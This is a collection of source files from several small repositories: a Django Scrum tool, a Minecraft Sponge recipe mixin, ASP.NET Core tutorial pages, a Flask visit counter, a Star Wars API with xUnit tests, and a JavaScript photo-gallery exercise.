return render(request, 'core/common_add.html', {'form': form, 'title': title, 'list_url_name': 'issue_list', 'project': project})
@login_required(login_url='/login/')
@permission_required('core.update_issue_status', raise_exception=True)
def update_issue_status(request, project_id, pk, **kwargs):
instance = get_object_or_404(Issue, id=pk)
form = IssueForm(request.POST or None, instance=instance)
if request.POST:
status = request.POST.get('status')
instance.status = status
instance.save()
messages.success(request, "Issue status updated successfurrl!")
return redirect('issue_list', project_id=project_id)
return render(request, 'includes/single_field.html', {
'field': form.visible_fields()[5],
'title': 'Update Status',
'url': reverse('issue_list', kwargs={'project_id': project_id}),
'project': Project.objects.get(pk=project_id),
'base_template': 'general/index_project_view.html'
})
class IssueHistoryList(HistoryList):
permission_required = 'scrumate.core.issue_history'
def get_issue_id(self):
return self.kwargs.get('pk')
def get_project_id(self):
return self.kwargs.get('project_id')
def get_queryset(self):
return Issue.history.filter(id=self.get_issue_id())
def get_context_data(self, **kwargs):
context = super().get_context_data(**kwargs)
project = Project.objects.get(pk=self.get_project_id())
issue = Issue.objects.get(pk=self.get_issue_id())
context['project'] = project
context['title'] = f'History of {issue.name}'
context['back_url'] = reverse('issue_list', kwargs={'project_id': self.get_project_id()})
context['base_template'] = 'general/index_project_view.html'
return context
class IssueDetailView(DetailView):
queryset = Issue.objects.all()
template_name = 'includes/generic_view.html'
context_object_name = 'issue'
def get_context_data(self, **kwargs):
context = super().get_context_data(**kwargs)
project_id = self.kwargs.get('project_id')
instance = self.get_object()
context['form'] = IssueForm(instance=instance)
context['edit_url'] = reverse('issue_edit', kwargs={'project_id': project_id, 'pk': instance.pk})
context['list_url'] = reverse('issue_list', kwargs={'project_id': project_id})
context['title'] = instance.name
context['project'] = Project.objects.get(pk=project_id)
context['base_template'] = 'general/index_project_view.html'
return context
<file_sep>/scrumate/core/migrations/0013_auto_20190602_1130.py
# Generated by Django 2.2.1 on 2019-06-02 11:30
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('core', '0012_deliverable_actual_hour'),
]
operations = [
migrations.AlterModelOptions(
name='project',
options={'permissions': (('update_project_status', 'Can Update Status of Project'), ('view_commit_logs', 'Can View Commit Logs of Project'), ('project_status_report', 'Can See Project Status Report'), ('project_status_report_download', 'Can Download Project Status Report'), ('project_members', 'Can See Members of a Project'), ('assign_deliverable', 'Can Assign Deliverables'))},
),
migrations.AlterField(
model_name='deliverable',
name='actual_hour',
field=models.DecimalField(blank=True, decimal_places=2, default=0.0, max_digits=15, null=True, verbose_name='Actual Point'),
),
]
<file_sep>/scrumate/core/migrations/0003_auto_20190509_1807.py
# Generated by Django 2.2.1 on 2019-05-09 18:07
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('core', '0002_auto_20190509_1803'),
]
operations = [
migrations.AlterModelOptions(
name='project',
options={'permissions': (('update_project_status', 'Can Update Status of Project'), ('view_commit_logs', 'Can View Commit Logs of Project'), ('project_status_report', 'Can See Project Status Report'), ('project_status_report_download', 'Can Download Project Status Report'))},
),
]
| 9beb6276f17e5d174b7827ee73974d65bf302c60 | [
"HTML",
"TOML",
"Markdown",
"INI",
"Python"
] | 100 | Python | nahidsaikat/scrumate | 11a63f1cc361261a7023eceafc2a27e29561dca0 | 8a3bec242b5b6ff02f1a5b8309e777f154e7c338 |
refs/heads/stable-7 | <repo_name>adam6806/SpongeCommon<file_sep>/src/main/java/org/spongepowered/common/mixin/core/item/recipe/smelting/MixinFurnaceRecipes.java
/*
* This file is part of Sponge, licensed under the MIT License (MIT).
*
* Copyright (c) SpongePowered <https://www.spongepowered.org>
* Copyright (c) contributors
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package org.spongepowered.common.mixin.core.item.recipe.smelting;
import static com.google.common.base.Preconditions.checkArgument;
import static com.google.common.base.Preconditions.checkNotNull;
import com.google.common.collect.ImmutableList;
import com.google.common.collect.Lists;
import net.minecraft.item.ItemStack;
import net.minecraft.item.crafting.FurnaceRecipes;
import org.spongepowered.api.item.inventory.ItemStackSnapshot;
import org.spongepowered.api.item.recipe.smelting.SmeltingRecipe;
import org.spongepowered.api.item.recipe.smelting.SmeltingRecipeRegistry;
import org.spongepowered.api.item.recipe.smelting.SmeltingResult;
import org.spongepowered.asm.mixin.Final;
import org.spongepowered.asm.mixin.Mixin;
import org.spongepowered.asm.mixin.Shadow;
import org.spongepowered.asm.mixin.injection.At;
import org.spongepowered.asm.mixin.injection.Inject;
import org.spongepowered.asm.mixin.injection.callback.CallbackInfoReturnable;
import org.spongepowered.common.item.inventory.util.ItemStackUtil;
import org.spongepowered.common.item.recipe.smelting.MatchSmeltingVanillaItemStack;
import org.spongepowered.common.item.recipe.smelting.SpongeSmeltingRecipe;
import java.util.Collection;
import java.util.IdentityHashMap;
import java.util.List;
import java.util.Map;
import java.util.Optional;
import java.util.function.Predicate;
@Mixin(FurnaceRecipes.class)
public abstract class MixinFurnaceRecipes implements SmeltingRecipeRegistry {
@Shadow @Final private Map<ItemStack, ItemStack> smeltingList;
@Shadow @Final private Map<ItemStack, Float> experienceList;
private final List<SmeltingRecipe> customRecipes = Lists.newArrayList();
// No IdentityHashBiMap implementation exists
private final Map<SmeltingRecipe, ItemStack> customRecipeToNativeIngredient = new IdentityHashMap<>();
private final Map<ItemStack, SmeltingRecipe> nativeIngredientToCustomRecipe = new IdentityHashMap<>();
@Shadow public abstract ItemStack getSmeltingResult(ItemStack stack);
@Shadow public abstract float getSmeltingExperience(ItemStack stack);
@Shadow private boolean compareItemStacks(ItemStack stack1, ItemStack stack2) {
throw new IllegalStateException("unreachable");
}
@Inject(method = "getSmeltingResult", at = @At("RETURN"), cancellable = true)
private void onGetSmeltingResult(ItemStack stack, CallbackInfoReturnable<ItemStack> cir) {
ItemStackSnapshot ingredient = ItemStackUtil.snapshotOf(stack);
Optional<SmeltingResult> result = getCustomResult(ingredient);
if (result.isPresent()) {
ItemStack nativeResult = ItemStackUtil.fromSnapshotToNative(result.get().getResult());
cir.setReturnValue(nativeResult);
} else {
for (ItemStack nativeIngredient : this.nativeIngredientToCustomRecipe.keySet()) {
if (this.compareItemStacks(nativeIngredient, stack)) {
cir.setReturnValue(ItemStack.EMPTY);
return;
}
}
}
}
@Inject(method = "getSmeltingExperience", at = @At("RETURN"), cancellable = true)
private void onGetSmeltingExperience(ItemStack stack, CallbackInfoReturnable<Float> cir) {
ItemStackSnapshot ingredient = ItemStackUtil.snapshotOf(stack);
Optional<SmeltingResult> result = getCustomResult(ingredient);
if (result.isPresent()) {
float nativeResult = (float) result.get().getExperience();
cir.setReturnValue(nativeResult);
}
}
private Optional<SmeltingResult> getCustomResult(ItemStackSnapshot ingredient) {
checkNotNull(ingredient, "ingredient");
for (SmeltingRecipe recipe : this.customRecipes) {
Optional<SmeltingResult> result = recipe.getResult(ingredient);
if (result.isPresent()) {
return result;
}
}
return Optional.empty();
}
@Override
public Optional<SmeltingRecipe> findMatchingRecipe(ItemStackSnapshot ingredient) {
checkNotNull(ingredient, "ingredient");
for (SmeltingRecipe customRecipe : this.customRecipes) {
if (customRecipe.isValid(ingredient)) {
return Optional.of(customRecipe);
}
}
ItemStack nativeIngredient = ItemStackUtil.fromSnapshotToNative(ingredient);
for (Map.Entry<ItemStack, ItemStack> entry : this.smeltingList.entrySet()) {
ItemStack nativeIngredientPrecise = entry.getKey();
if (compareItemStacks(nativeIngredient, nativeIngredientPrecise)) {
ItemStack nativeExemplaryResult = entry.getValue();
ItemStackSnapshot result = ItemStackUtil.snapshotOf(nativeExemplaryResult);
ItemStackSnapshot ingredientPrecise = ItemStackUtil.snapshotOf(nativeIngredientPrecise);
Predicate<ItemStackSnapshot> ingredientPredicate = new MatchSmeltingVanillaItemStack(ingredientPrecise);
double experience = this.experienceList.get(nativeExemplaryResult);
SmeltingRecipe recipe = new SpongeSmeltingRecipe(null, null, ingredientPrecise, ingredientPredicate, experience, result);
return Optional.of(recipe);
}
}
return Optional.empty();
}
@Override
public void register(SmeltingRecipe recipe) {
checkNotNull(recipe, "recipe");
checkArgument(!this.customRecipeToNativeIngredient.containsKey(recipe),
"This recipe has already been registered!");
ItemStackSnapshot exemplaryIngredient = recipe.getExemplaryIngredient();
ItemStack nativeExemplaryIngredient = ItemStackUtil.fromSnapshotToNative(exemplaryIngredient);
ItemStack nativeExemplaryResult = ItemStackUtil.fromSnapshotToNative(recipe.getExemplaryResult());
float nativeExemplaryExperience = (float) recipe.getResult(exemplaryIngredient)
.orElseThrow(() -> new IllegalStateException("Could not get the result for the exemplary ingredient.")).getExperience();
this.smeltingList.put(nativeExemplaryIngredient, nativeExemplaryResult);
this.experienceList.put(nativeExemplaryResult, nativeExemplaryExperience);
this.customRecipeToNativeIngredient.put(recipe, nativeExemplaryIngredient);
this.nativeIngredientToCustomRecipe.put(nativeExemplaryIngredient, recipe);
this.customRecipes.add(recipe);
}
@Override
public Collection<SmeltingRecipe> getRecipes() {
ImmutableList.Builder<SmeltingRecipe> builder = ImmutableList.builder();
for (Map.Entry<ItemStack, ItemStack> smeltingEntry : this.smeltingList.entrySet()) {
ItemStack nativeIngredient = smeltingEntry.getKey();
// If not a custom recipe, add first
if (!this.nativeIngredientToCustomRecipe.containsKey(nativeIngredient)) {
ItemStack nativeExemplaryResult = smeltingEntry.getValue();
ItemStackSnapshot exemplaryResult = ItemStackUtil.snapshotOf(nativeExemplaryResult);
ItemStackSnapshot exemplaryIngredient = ItemStackUtil.snapshotOf(nativeIngredient);
Predicate<ItemStackSnapshot> ingredientPredicate = new MatchSmeltingVanillaItemStack(exemplaryIngredient);
double experience = (double) this.experienceList.get(nativeExemplaryResult);
builder.add(new SpongeSmeltingRecipe(null, null, exemplaryIngredient, ingredientPredicate, experience, exemplaryResult));
}
}
builder.addAll(this.customRecipes);
return builder.build();
}
}
| 1f4a9e3eaf02641fbb1b94cfe023ae0830202cd1 | [
"Java"
] | 1 | Java | adam6806/SpongeCommon | b8fb9fad34fb7ca3ffc1f47433225cb60ab8822b | 09c6085706a9e34bc9f1b8953b20e65d63723d4f |
refs/heads/master | <file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using Contoso.Data;
using Contoso.Models.SchoolViewModels;
using Microsoft.AspNetCore.Mvc.RazorPages;
using Microsoft.EntityFrameworkCore;
namespace Contoso.Pages
{
public class AboutModel : PageModel
{
private readonly ApplicationDbContext db;
public AboutModel(ApplicationDbContext db)
{
this.db = db;
}
public IList<EnrollmentDateGroup> Student { get; set; }
public async Task OnGetAsync()
{
IQueryable<EnrollmentDateGroup> data = from student
in db.Students
group student
by student.EnrollmentDate
into dateGroup
select new EnrollmentDateGroup()
{
EnrollmentData = dateGroup.Key,
StudentCount = dateGroup.Count()
};
Student = await data.AsNoTracking().ToListAsync();
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using Microsoft.AspNetCore.Mvc;
using Microsoft.AspNetCore.Mvc.RazorPages;
using Microsoft.EntityFrameworkCore;
using Contoso.Data;
using Contoso.Models;
namespace Contoso.Pages.Courses
{
public class IndexModel : PageModel
{
private readonly Contoso.Data.ApplicationDbContext _context;
public IndexModel(Contoso.Data.ApplicationDbContext context)
{
_context = context;
}
public IList<Course> Course { get;set; }
public async Task OnGetAsync()
{
Course = await _context.Courses.ToListAsync();
}
}
}
<file_sep>using Contoso.Models;
using Microsoft.AspNetCore.Mvc.RazorPages;
using Microsoft.EntityFrameworkCore;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
namespace Contoso.Pages.Students
{
public class IndexModel : PageModel
{
private readonly Contoso.Data.ApplicationDbContext _context;
public IndexModel(Contoso.Data.ApplicationDbContext context)
{
_context = context;
}
#region Properties
public IList<Student> Student { get;set; }
public PaginatedList<Student> Students { get; set; }
public string NameSort { get; set; }
public string DateSort { get; set; }
public string CurrentFilter { get; set; }
public string CurrentSort { get; set; }
#endregion
public async Task OnGetAsync(string sortOrder, string currentFilter, string searchString, int? pageIndex)
{
//Sort
NameSort = String.IsNullOrEmpty(sortOrder) ? "name_desc" : "";
DateSort = sortOrder == "Date" ? "date_desc" : "Date";
if (searchString != null)
{
pageIndex = 1;
}
else
{
searchString = currentFilter;
}
currentFilter = searchString;
//sort
IQueryable<Student> studentsIQ = from e in _context.Students select e;
//Filter
CurrentFilter = searchString;
if (!string.IsNullOrEmpty(searchString))
{
studentsIQ = studentsIQ.Where(s => s.LastName.ToUpper().Trim().Contains(searchString.ToUpper().Trim()) ||
s.FirstMidName.ToUpper().Trim().Contains(searchString.ToUpper().Trim()));
}
switch (sortOrder)
{
case "name_desc":
studentsIQ = studentsIQ.OrderByDescending(e => e.LastName);
break;
case "Date":
studentsIQ = studentsIQ.OrderBy(e => e.EnrollmentDate);
break;
case "date_desc":
studentsIQ = studentsIQ.OrderByDescending(e => e.EnrollmentDate);
break;
default:
studentsIQ = studentsIQ.OrderBy(e => e.LastName);
break;
}
int pageSize = 3;
Students = await PaginatedList<Student>.CreateAsync(studentsIQ.AsNoTracking(),pageIndex ?? 1, pageSize);
//Student = await studentsIQ.AsNoTracking().ToListAsync();
}
}
}
<file_sep>namespace Contoso.Models
{
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
public class StudentVM
{
public int ID { get; set; }
public string LastName { get; set; }
public string FirstMidName { get; set; }
public DateTime EnrollmentDate { get; set; }
}
}
| 5edf77183047688700fb5d987048cfffc7e69195 | [
"C#"
] | 4 | C# | emiliobs/Contoso | 50a3c6d40bb05f82183e79793a18cfcbcfee10e4 | 0f4227b353e8311f73fdd6dced3f2e118a7654ea |
refs/heads/master | <repo_name>LoboAdrian/IsSteggAFurry<file_sep>/index.py
from flask import Flask, redirect, render_template, send_from_directory, request
import json
import os
#Init App
app = Flask(__name__)
#Rate Limit // Doesn't work with PythonAnywhere
#s = sched.scheduler(time.time, time.sleep)
rate_limited_ips = []
#def clear_rate_limit():
# print("clearing")
# global rate_limited_ips
# if rate_limited_ips:
# rate_limited_ips.clear()
#Load config
with open('config.json') as config_file:
config = json.loads(config_file.read())
#Load counter
with open(config['PATH'], 'r+') as count_file:
_json = json.loads(count_file.read())
count = _json['count']
daily = _json['daily']
print(count)
#Increment Counter
def increment(ip):
global count, daily, rate_limited_ips
if ip in rate_limited_ips:
return (count, daily)
rate_limited_ips.append(ip)
print(ip)
count = count + 1
daily = daily + 1
with open(config['PATH'], 'r+') as count_file:
json.dump({'count': count, 'daily': daily}, count_file)
return (count, daily)
#Routes
@app.errorhandler(404)
def page_not_found(e):
return redirect('/furry?'), 404, {'Refresh': '0; url=/furry?'}
@app.route('/favicon.ico')
def favicon():
return send_from_directory(os.path.join(app.root_path, 'static'), 'favicon.ico', mimetype='image/vnd.microsoft.icon')
@app.route('/about')
def about():
global count, daily
return render_template('about.html', count=(count, daily), titles=config['TITLES'])
@app.route('/furry')
def furry():
return render_template('index.html', count=increment(request.remote_addr), titles=config['TITLES'])
#Init App
if __name__ == '__main__':
app.run(port=8080) | 155d442ea8783df585616803b753d5873f1f718b | [
"Python"
] | 1 | Python | LoboAdrian/IsSteggAFurry | a17eab2d71c027de3bd033cf24d2e40d0150b925 | 1f7d56bdfdb0fe04dc6d666275dbf9015e167663 |
refs/heads/master | <file_sep>using PrototypeApi.CustomModel;
using PrototypeApi.Models;
using System;
using System.Collections.Generic;
using System.Diagnostics.CodeAnalysis;
using System.Linq;
using System.Threading.Tasks;
namespace PrototypeApi.DataAccess
{
public interface IPrototypeDataAccess
{
IEnumerable<Films> GetAllFilms();
IEnumerable<PeopleAppeared> GetMostAppearedPerson();
IEnumerable<SpeciesAppeared> GetSpecies();
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using Microsoft.AspNetCore.Http;
using Microsoft.AspNetCore.Mvc;
using PrototypeApi.Core;
using PrototypeApi.CustomModel;
namespace PrototypeApi.Controllers
{
[ApiController]
public class PrototypeController : ControllerBase
{
readonly IPrototypeCore prototypeCore;
public PrototypeController(IPrototypeCore prototypeCore)
{
this.prototypeCore = prototypeCore;
}
[HttpGet]
[Route("api/Prototype/GetLongestMovie")]
public string GetLongestMovie()
{
return prototypeCore.GetLongestOpeningCrawlMovie();
}
[HttpGet]
[Route("api/Prototype/GetMostAppearedPerson")]
public List<string> GetMostAppearedPerson()
{
return prototypeCore.GetMostAppearedPerson();
}
[HttpGet]
[Route("api/Prototype/GetSpecies")]
public List<SpeciesAppeared> GetSpecies()
{
return prototypeCore.GetSpecies();
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Diagnostics.CodeAnalysis;
namespace PrototypeApi.Models
{
[ExcludeFromCodeCoverage]
public partial class VehiclesPilots
{
public int VehicleId { get; set; }
public int PeopleId { get; set; }
public virtual People People { get; set; }
public virtual Vehicles Vehicle { get; set; }
}
}
<file_sep>using Microsoft.Extensions.Configuration;
using PrototypeApi.CustomModel;
using PrototypeApi.Models;
using System;
using System.Collections.Generic;
using System.Diagnostics.CodeAnalysis;
using System.Linq;
using System.Threading.Tasks;
namespace PrototypeApi.DataAccess
{
[ExcludeFromCodeCoverage]
public class PrototypeDataAccess: IPrototypeDataAccess
{
readonly PrototypeDBContext dbContext;
public PrototypeDataAccess(IConfiguration config)
{
this.dbContext = new PrototypeDBContext(config["ConnectionString"].ToString());
}
public IEnumerable<Films> GetAllFilms()
{
try
{
return dbContext.Films.ToList();
}
catch (Exception)
{
throw;
}
}
public IEnumerable<PeopleAppeared> GetMostAppearedPerson()
{
try
{
var query = from fc in dbContext.FilmsCharacters
join p in dbContext.People on fc.PeopleId equals p.Id
select new {p.Id,p.Name} into ap
group ap by new { ap.Id, ap.Name } into g
select new PeopleAppeared() { PeopleId =g.Key.Id, PeopleName = g.Key.Name,AppearedCount = g.Count()};
return query.AsEnumerable<PeopleAppeared>();
}
catch (Exception)
{
throw;
}
}
public IEnumerable<SpeciesAppeared> GetSpecies()
{
try
{
var query = from s in dbContext.Species
join fs in dbContext.FilmsSpecies on s.Id equals fs.SpeciesId
select new { s.Id, s.Name } into ap
group ap by new { ap.Id, ap.Name } into g
select new SpeciesAppeared() { SpeciesId = g.Key.Id, SpeciesName = g.Key.Name, AppearedCount = g.Count() };
var result = from s in query
join sp in dbContext.SpeciesPeople on s.SpeciesId equals sp.SpeciesId
select new {s.SpeciesId, s.SpeciesName,s.AppearedCount,sp.PeopleId} into ap
group ap by new { ap.SpeciesId, ap.SpeciesName, ap.AppearedCount } into g
select new SpeciesAppeared() { SpeciesId = g.Key.SpeciesId, SpeciesName = g.Key.SpeciesName,
AppearedCount = g.Key.AppearedCount, NumberOfCharacter = g.Count()};
return result.AsEnumerable<SpeciesAppeared>();
}
catch (Exception)
{
throw;
}
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
namespace PrototypeApi.CustomModel
{
public class SpeciesAppeared
{
public int SpeciesId { get; set; }
public string SpeciesName { get; set; }
public int AppearedCount { get; set; }
public int NumberOfCharacter { get; set; }
}
}
<file_sep>using FakeItEasy;
using PrototypeApi.Controllers;
using PrototypeApi.Core;
using PrototypeApi.CustomModel;
using PrototypeApi.DataAccess;
using PrototypeApi.Models;
using System;
using System.Collections.Generic;
using Xunit;
namespace PrototypeTest.UniTest
{
public class PrototypeUnitTest
{
readonly IPrototypeCore prototypeCore;
readonly IPrototypeDataAccess dataAccess;
readonly PrototypeController controller;
public PrototypeUnitTest()
{
dataAccess = A.Fake<IPrototypeDataAccess>();
this.prototypeCore = new PrototypeCore(dataAccess);
controller = new PrototypeController(prototypeCore);
}
[Fact]
public void GetLongestMovie()
{
var filmsList = A.CollectionOfFake<Films>(10);
filmsList[0].OpeningCrawl = "a series of bbbbbb";
filmsList[0].Title = "new movie";
A.CallTo(() => dataAccess.GetAllFilms()).Returns(filmsList);
var movie = controller.GetLongestMovie();
Assert.NotNull(movie);
}
[Fact]
public void GetMostAppearedPerson()
{
var peopleAppearedList = A.CollectionOfFake<PeopleAppeared>(10);
peopleAppearedList[0].PeopleName = "Name 1";
peopleAppearedList[0].PeopleId = 1;
peopleAppearedList[0].AppearedCount = 5;
peopleAppearedList[1].PeopleName = "Name 2";
peopleAppearedList[1].PeopleId = 1;
peopleAppearedList[1].AppearedCount = 4;
A.CallTo(() => dataAccess.GetMostAppearedPerson()).Returns(peopleAppearedList);
var personName = controller.GetMostAppearedPerson();
Assert.IsType<List<string>>(personName);
}
[Fact]
public void GetSpecies()
{
var appearedList = A.CollectionOfFake<SpeciesAppeared>(10);
appearedList[0].SpeciesName = "Name 1";
appearedList[0].SpeciesId = 1;
appearedList[0].AppearedCount = 3;
appearedList[0].NumberOfCharacter = 2;
appearedList[1].SpeciesName = "Name 1";
appearedList[1].SpeciesId = 1;
appearedList[1].AppearedCount = 5;
appearedList[1].NumberOfCharacter = 2;
A.CallTo(() => dataAccess.GetSpecies()).Returns(appearedList);
var personName = controller.GetSpecies();
Assert.IsType<List<SpeciesAppeared>>(personName);
}
}
}
<file_sep>using PrototypeApi.CustomModel;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
namespace PrototypeApi.Core
{
public interface IPrototypeCore
{
string GetLongestOpeningCrawlMovie();
List<string> GetMostAppearedPerson();
List<SpeciesAppeared> GetSpecies();
}
}
<file_sep>using System;
using System.Collections.Generic;
namespace PrototypeApi.Models
{
public partial class Species
{
public Species()
{
FilmsSpecies = new HashSet<FilmsSpecies>();
SpeciesPeople = new HashSet<SpeciesPeople>();
}
public int Id { get; set; }
public string AverageHeight { get; set; }
public string AverageLifespan { get; set; }
public string Classification { get; set; }
public DateTime? Created { get; set; }
public string Designation { get; set; }
public DateTime? Edited { get; set; }
public string EyeColors { get; set; }
public string HairColors { get; set; }
public int? Homeworld { get; set; }
public string Language { get; set; }
public string Name { get; set; }
public string SkinColors { get; set; }
public virtual ICollection<FilmsSpecies> FilmsSpecies { get; set; }
public virtual ICollection<SpeciesPeople> SpeciesPeople { get; set; }
}
}
<file_sep>using System;
using System.Collections.Generic;
namespace PrototypeApi.Models
{
public partial class FilmsSpecies
{
public int FilmId { get; set; }
public int SpeciesId { get; set; }
public virtual Films Film { get; set; }
public virtual Species Species { get; set; }
}
}
<file_sep>using System;
using System.Collections.Generic;
namespace PrototypeApi.Models
{
public partial class FilmsCharacters
{
public int FilmId { get; set; }
public int PeopleId { get; set; }
public virtual Films Film { get; set; }
public virtual People People { get; set; }
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
namespace PrototypeApi.CustomModel
{
public class PeopleAppeared
{
public int PeopleId { get; set; }
public string PeopleName { get; set; }
public int AppearedCount { get; set; }
}
}
<file_sep>using PrototypeApi.CustomModel;
using PrototypeApi.DataAccess;
using PrototypeApi.Models;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
namespace PrototypeApi.Core
{
public class PrototypeCore : IPrototypeCore
{
readonly IPrototypeDataAccess dataAccess;
public PrototypeCore(IPrototypeDataAccess dataAccess)
{
this.dataAccess = dataAccess;
}
public string GetLongestOpeningCrawlMovie()
{
List<Films> films = dataAccess.GetAllFilms().ToList();
var openingCrawl = films.Max(s => s.OpeningCrawl);
var longest = films.FirstOrDefault(s => s.OpeningCrawl == openingCrawl);
return longest.Title;
}
public List<string> GetMostAppearedPerson()
{
List<string> characterList = new List<string>();
List<PeopleAppeared> peopleAppearedList = dataAccess.GetMostAppearedPerson().ToList();
var mostAppreadCount = peopleAppearedList.Max(s => s.AppearedCount);
var longest = peopleAppearedList.Where(s => s.AppearedCount == mostAppreadCount);
foreach(PeopleAppeared p in longest)
{
characterList.Add(p.PeopleName);
}
return characterList;
}
public List<SpeciesAppeared> GetSpecies()
{
List<string> characterList = new List<string>();
List<SpeciesAppeared> speciesList = dataAccess.GetSpecies().ToList();
var mostAppreadCount = speciesList.Max(s => s.AppearedCount);
var longest = speciesList.Where(s => s.AppearedCount == mostAppreadCount);
return longest.ToList();
}
}
}
| 887fbfcb6efa0698178abc1564f0c5a03ae55ebf | [
"C#"
] | 12 | C# | shafinizar/Shafeeque-StarWarsApi | 6f2f041d10ea45bf171fd4e27daf4242dfe026c1 | 2fda5ea8c04959a5cc5f61a93d69330040eeb3c4 |
refs/heads/master | <file_sep>'use strict';
const dataPhotos = [];
const names = ['Олег', 'Миша', 'Саша', 'Петр', 'Оля', 'Маша', 'Катя', 'Аня'];
const comments = ['Всё отлично!',
'В целом всё неплохо. Но не всё.',
'Когда вы делаете фотографию, хорошо бы убирать палец из кадра. В конце концов это просто непрофессионально.',
'Моя бабушка случайно чихнула с фотоаппаратом в руках и у неё получилась фотография лучше.',
'Я поскользнулся на банановой кожуре и уронил фотоаппарат на кота и у меня получилась фотография лучше.',
'Лица у людей на фотке перекошены, как будто их избивают. Как можно было поймать такой неудачный момент?!'
];
const photosCount = 25;
const getRandomNum = function (minValue, maxValue) {
const randomNum = Math.floor(Math.random() * maxValue);
return randomNum > minValue ? randomNum : minValue;
};
const commentsData = [
{
avatar: "img/avatar-6.svg",
message: "В целом всё неплохо. Но не всё.",
name: "Артем"
},
{
avatar: "img/avatar-2.svg",
message: "В целом всё неплохо. Но не всё.",
name: "Артем"
}
];
const getPhotoObj = function (i) {
const photoObject = {
url: 'photos/' + i + '.jpg',
description: 'описание фотографии',
likes: getRandomNum(15, 200),
comments: commentsData
}
return photoObject;
};
const genereteData = function () {
for (let i = 1; i <= photosCount; i++) {
dataPhotos.push(getPhotoObj(i))
};
};
const getPhoto = function (photoObj) {
const pictureTemplate = document.querySelector('#picture')
.content
const photoElement = pictureTemplate.cloneNode(true);
photoElement.querySelector('.picture__img').src = photoObj.url;
photoElement.querySelector('.picture__likes').textContent = photoObj.likes;
photoElement.querySelector('.picture__comments').textContent = photoObj.comments.length;
return photoElement;
}
const renderUserPhotos = function (data) {
const pictures = document.querySelector('.pictures');
const fragment = document.createDocumentFragment();
for (let i = 0; i < data.length; i++) {
fragment.appendChild(getPhoto(data[i]));
}
pictures.appendChild(fragment);
};
genereteData();
renderUserPhotos(dataPhotos);
//------------------------------------------------------------------------------//
const bigPhoto = document.querySelector('.big-picture');
// bigPhoto.classList.remove('hidden');
const getComment = function (obj) {
return `<li class="social__comment">
<img class="social__picture" src="${obj.avatar}" alt="${obj.name}" width="35" height="35">
<p class="social__text">${obj.message}</p>
</li>`
};
const renderBigPhoto = function (photoObj) {
bigPhoto.querySelector('.big-picture__img img').src = photoObj.url;
bigPhoto.querySelector('.likes-count').textContent = photoObj.likes;
bigPhoto.querySelector('.comments-count').textContent = photoObj.comments.length;
bigPhoto.querySelector('.social__caption').textContent = photoObj.description;
const commentsHtml = photoObj.comments.map(function (comment) {
let commentMap = getComment(comment);
return commentMap;
});
bigPhoto.querySelector('.social__comments').innerHTML = commentsHtml.join('');
};
const hideElements = function () {
bigPhoto.querySelector('.social__comment-count').classList.add('hidden');
bigPhoto.querySelector('.comments-loader').classList.add('hidden');
document.querySelector('body').classList.add('modal-open');
}
renderBigPhoto(dataPhotos[0]);
hideElements();
// -----------------------Загрузка изображения и показ формы редактирования-----
const imgUploadInput = document.querySelector('.img-upload__input');
const imgUploadOverlay = document.querySelector('.img-upload__overlay');
const imgUploadButton = imgUploadOverlay.querySelector('.img-upload__cancel');
const body = document.querySelector('body');
// --------показ формы редактирования--------
const openImgUploadOverlay = function (evt) {
imgUploadOverlay.classList.remove('hidden');
body.classList.add('modal-open');
}
imgUploadInput.addEventListener('click', function () {
openImgUploadOverlay();
});
imgUploadInput.addEventListener('keydown', function (evt) {
if (evt.keyCode === 13) {
openImgUploadOverlay();
}
});
// --------закрытие формы редактирования--------
const closeImgUploadOverlay = function (evt) {
imgUploadOverlay.classList.add('hidden');
body.classList.remove('modal-open');
}
imgUploadButton.addEventListener('click', function () {
closeImgUploadOverlay();
});
document.addEventListener('keydown', function (evt) {
if (evt.keyCode === 27) {
closeImgUploadOverlay();
}
});
// ------------------валидация--------------------
const heshInput = imgUploadOverlay.querySelector('.text__hashtags');
const pattern = /^#([а-я]|[А-Я]|[a-zA-Z]|[0-9]){1,20}$/;
var MAX_INPUT_LENGTH = 20;
heshInput.addEventListener('input', function () {
let value = heshInput.value.split(' ');
let valueLength = heshInput.value.length;
// pattern.test(value);
console.log(value);
if (valueLength > MAX_INPUT_LENGTH) {
heshInput.setCustomValidity('Удалите лишние ' + (valueLength - MAX_NAME_LENGTH) + ' симв.');
} else {
heshInput.setCustomValidity('');
}
heshInput.reportValidity();
});
| 21449b0de7d2d946f597a2c046ad0a369c724a0b | [
"JavaScript"
] | 1 | JavaScript | maksymchaus/837717-kekstagram-21 | a6df328bbfa375f676ae141e64325ed4dbf3acdc | 355fc8f986023f02f5b8421230ddd3f1fcac9ced |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.